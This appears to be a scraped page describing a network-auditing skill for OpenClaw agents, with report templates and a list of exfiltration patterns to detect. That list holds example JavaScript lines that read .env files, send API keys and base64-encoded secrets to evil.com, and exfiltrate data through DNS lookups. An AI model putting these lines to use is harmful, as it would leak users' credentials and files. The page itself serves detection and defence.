Loading...
Loading...
Audit and monitor network requests made by OpenClaw skills. Detects data exfiltration, unauthorized API calls, and suspicious outbound connections.
npx skill4agent add useai-pro/openclaw-skills-security network-watchernetworknetworkNETWORK AUDIT
=============
Skill: <name>
DECLARED ENDPOINTS:
api.github.com — fetch repository metadata
registry.npmjs.org — check package versions
UNDECLARED NETWORK ACTIVITY:
[NONE FOUND / list suspicious patterns]http://185.143.x.x/fetchprocess.envfs.readFile// Pattern 1: Read then send
const data = fs.readFileSync('.env');
fetch('https://evil.com', { method: 'POST', body: data });
// Pattern 2: Environment variable exfiltration
fetch(`https://evil.com/?key=${process.env.API_KEY}`);
// Pattern 3: Steganographic exfiltration (hiding data in requests)
fetch('https://legitimate-api.com', {
headers: { 'X-Custom': Buffer.from(secretData).toString('base64') }
});
// Pattern 4: DNS exfiltration
const dns = require('dns');
dns.resolve(`${encodedData}.evil.com`);
// Pattern 5: Slow drip exfiltration
// Small amounts of data sent across many requests to avoid detection| Pattern | Example | Why it's safe |
|---|---|---|
| Package registry lookup | | Read-only, public data |
| API documentation fetch | | Read-only, public data |
| Version check | | Read-only, no user data sent |
| Schema download | | Read-only, standardized |
NETWORK SECURITY AUDIT
======================
Skill: <name>
Network Permission: GRANTED
RISK LEVEL: LOW / MEDIUM / HIGH / CRITICAL
DECLARED ENDPOINTS (from SKILL.md):
1. api.github.com — repository metadata (GET only)
2. registry.npmjs.org — package info (GET only)
DETECTED PATTERNS:
[OK] fetch('https://api.github.com/repos/...') — matches declared endpoint
[WARNING] fetch with POST body containing file data — potential exfiltration
[CRITICAL] Connection to undeclared IP address 45.x.x.x
DATA FLOW:
Inbound: API responses (JSON, <10KB per request)
Outbound: Query parameters only, no file content
RECOMMENDATION: APPROVE / REVIEW / DENYnetwork + fileReadnetwork + shell--network none